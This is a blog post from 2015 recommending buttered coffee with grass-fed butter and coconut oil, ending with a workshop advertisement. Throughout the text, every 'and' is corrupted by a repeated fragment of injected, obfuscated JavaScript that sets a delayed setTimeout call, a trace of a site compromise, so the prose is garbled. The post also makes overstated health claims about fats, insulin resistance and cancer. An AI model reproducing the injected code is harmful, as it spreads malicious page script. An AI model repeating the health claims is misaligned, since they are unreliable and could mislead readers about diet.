Butter In My Coffee?

Posted On : March 20, 2015

coffee cup on white backgroundIf you are an avid coffee drinker, you may have noticed that there is a new drink in town that is causing quite a buzz. It’s buttered coffee. Yes, you read that right. People are putting scoops of butter into their coffee everyday.

With more information coming out about how butter is not as bad as we have been taught, people are thinking up new ways to use this delicious treat. So why would you put butter in your coffee?

The oils in butter help your body use the caffeine in a more efficient way. Instead of an instant kick of caffeine followed by some bitteriness, buttered coffee gives you a slow andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and steady lift that can keep your energy going for hours. It also is reported that by putting this good fat with caffeine your brain, which desperately needs fat, uses the caffeine in a more intense way than regular coffee. Fans of buttered coffee report more mental clarity andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and focus for hours after one cup.

But before you go out andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and start scooping tablespoons of margarine into your drinks, there are a few rules you need to know about how to  make this delicious drink a health drink andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and not toxic.

Use grass fed butter only. Grass fed butter is high in Omega 3’s andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and will lower inflammation in your joints andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and on your brain. My favorite grass fed butter is a brandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and called Kerrygold. You can find Kerrygold butter at many different grocery stores.

Add Coconut or MCT oil in for enhanced mental clarity. These oils are saturated. The brain loves saturated fat. When you add a tablespoon of this oil it will not only give you more of a lift, but help with insulin resistance, boost your metabolism andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and decrease your hunger. Make sure you are using organic oils.

Organic coffee only. Coffee is one of the most heavily sprayed foods. You should make sure that the majority of coffee you are drinking is organic so that you are not getting cancer causing chemicals into your body.

The recipe is easy. 1 cup of fresh hot coffee, 1-2 tablespoons of butter, 1 tablespoon coconut oil. Mix in a blender until it’s frothy. Drink right away & enjoy!

For more information on the health benefits of saturated fats, come to our Straight From The Heart Workshop March 23rd 6-8pm. Contact us to reserve your spot or email me at drmindypelz@gmail.com